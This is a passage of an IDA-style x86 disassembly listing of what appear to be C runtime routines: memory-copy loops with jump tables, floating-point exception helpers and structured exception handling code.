		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx


loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------


loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEC+40p
					; ___:0040E2A0p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D031+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A970
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427710
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722


loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB9AC, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43CF84, offset sub_421935
		mov	off_43CF80, eax
		mov	off_43CF88, offset sub_42199B
		mov	off_43CF8C, offset sub_4218DB
		mov	off_43CF90, offset sub_421983
		mov	off_43CF94, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D031+1Bp
					; sub_40D031+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07D+82p
					; ___:0040DD3Dp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A988
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427710
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------


loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868


loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------


loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DBA04
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------


loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------


loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E


loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2


loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39


loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45


loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]


loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67


loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2


loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]


loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------


loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A98C
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A98C
		mov	ecx, [ebp+8]


loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07D+5p
					; sub_40D21F+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B4+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D725+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28


loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------


loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------


loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
